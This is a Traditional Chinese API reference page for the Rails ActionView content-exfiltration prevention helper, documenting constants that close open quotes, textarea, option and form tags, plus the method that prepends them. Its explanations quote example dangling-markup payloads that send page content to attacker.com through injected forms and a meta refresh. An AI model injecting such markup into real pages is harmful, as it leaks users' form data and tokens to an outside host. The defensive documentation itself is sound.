跳到內容 跳到搜尋
方法
P

常數

CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
 

在每個表單標籤之前關閉任何支援 CDATA(文字輸入區、XMP)的開啟標籤。這可以防止攻擊者插入未關閉的標籤,可能會導致表單內容被擷取。

例如,攻擊者可能會插入

<form action="https://attacker.com"><textarea>

這個標籤之後的 HTML,一直到下一個 </textarea> 或文件結尾,會被攻擊者的 <textarea> 擷取。藉由關閉所有已開啟的文字輸入區標籤,我們可以確保表單內容從未被竊取。

CLOSE_FORM_TAG = "</form>".html_safe.freeze
 

在每個新的表單標籤之前關閉所有開啟的表單標籤。這可以防止攻擊者插入未關閉的表單,可能會導致標記外洩到場外。

例如,攻擊者可能會插入

<form action="https://attacker.com">

這個標籤之後的表單元素,一直到下一個 </form>,會被攻擊者的 <form> 擷取。藉由關閉所有已開啟的表單標籤,我們可以確保表單內容從未被竊取。

CLOSE_OPTION_TAG = "</option>".html_safe.freeze
 

在每個表單標籤之前關閉所有開啟的選項標籤。這可以防止攻擊者插入未關閉的選項,可能會導致標記外洩到場外。

例如,攻擊者可能會插入

<form action="https://attacker.com"><option>

這個標籤之後的 HTML,一直到下一個 </option> 或文件結尾,會被攻擊者的 <option> 擷取。藉由關閉所有已開啟的選項標籤,我們可以確保表單內容從未被竊取。

CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
 

在每個表單標籤之前關閉所有開啟的屬性。這可以防止攻擊者插入部分標籤,可能會導致標記外洩到場外。

例如,攻擊者可能會插入

<meta http-equiv="refresh" content='0;URL=https://attacker.com?

這個標籤之後的 HTML,一直到下一個單引號,會傳送給 https://attacker.com。藉由關閉所有已開啟的屬性,我們可以確保表單內容絕不會用這種方式被竊取。

CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
 

執行個體公開方法

prevent_content_exfiltration(html)

# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61
def prevent_content_exfiltration(html)
  if prepend_content_exfiltration_prevention
    CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
  else
    html
  end
end